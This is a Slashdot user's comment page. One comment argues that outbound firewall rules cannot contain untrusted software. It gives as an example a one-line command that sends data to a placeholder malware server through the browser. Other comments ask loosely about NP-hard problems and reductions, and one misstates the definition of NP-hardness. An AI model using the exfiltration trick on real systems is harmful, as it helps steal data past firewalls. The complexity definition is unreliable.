Catch up on stories from the past week (and beyond) at the Slashdot story archive

 



Forgot your password?
typodupeerror
×

Comment Re:Wrong paradigm here (Score 1) 187

Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
So, how does the "~/bin/untrusted-download" firewall rule protect you now?

There is one simple rule for untrusted software: Do not run it.
Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.

Comment Re:Are all NP-hard Problems equivalent? (Score 1) 199

AFAIK the definition is, they are not in P and they can be solved by a non-deterministic TM. Usual proofs are by transitivity, but i do not know an argument against two disjunct trees of problems. maybe there are problems, which cannot be reduced to the known ones, but are np-hard anyway?

Comment Re:Are all NP-hard Problems equivalent? (Score 1) 199

Now back to the question: Is there a Proof, that each solution to a NP-complete problem can be used to solve the factoring problem?
(its this way, you need to prove, that any solution to your new problem is a solution for a known np-hard one)
So what i meant: Could NP be the union of (at least) two disjunct sets of problems, which can reduce to other problems in the same set, but not to problems in the other set? If not, how do you prove it? Citations are welcomed.

Comment Re:Are all NP-hard Problems equivalent? (Score 2) 199

So you can use SAT to implement a turing machine, you can use the TSP to implement SAT. But if you have a new NP-hard problem, which can be simulated by a non-deterministic TM, this does not tell you, that the problem can simulate a a TM or SAT? Or is it an requirement for a np-hard problem not only to run on a TM, but to implement one, as SAT does?

Slashdot Top Deals

"Everything should be made as simple as possible, but not simpler." -- Albert Einstein

Working...